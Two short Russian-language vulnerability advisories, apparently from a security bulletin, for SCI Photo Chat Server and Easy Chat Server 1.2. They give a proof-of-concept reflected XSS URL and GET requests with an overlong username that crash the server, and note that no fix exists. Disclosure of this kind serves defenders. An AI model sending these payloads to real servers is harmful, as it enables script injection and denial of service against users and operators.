Межсайтовый скриптинг в SCI Photo Chat Server

Описание: Уязвимость в SCI Photo Chat Server позволяет удаленному пользователю выполнить XSS нападение.

Эксплоит:

http://[host]:1235/<script>alert("hy")</script>

Решение: http://www.simmcomm.ch/

Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время. Программа: Easy Chat Server 1.2

Опасность: Средняя

Наличие эксплоита: Да

Описание: Уязвимость в Easy Chat Server позволяет удаленному пользователю аварийно завершить работу программы.

Эксплоит:

GET /chat.ghp?username=aaaa[ 295 of a ]aaaa&password=&room=1&sex=0
Host: http://[host]

GET /chat.ghp?username=FakeUser&password=&room=1&sex=0
Host: http://[host]

Решение: http://www.echatserver.com/

Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время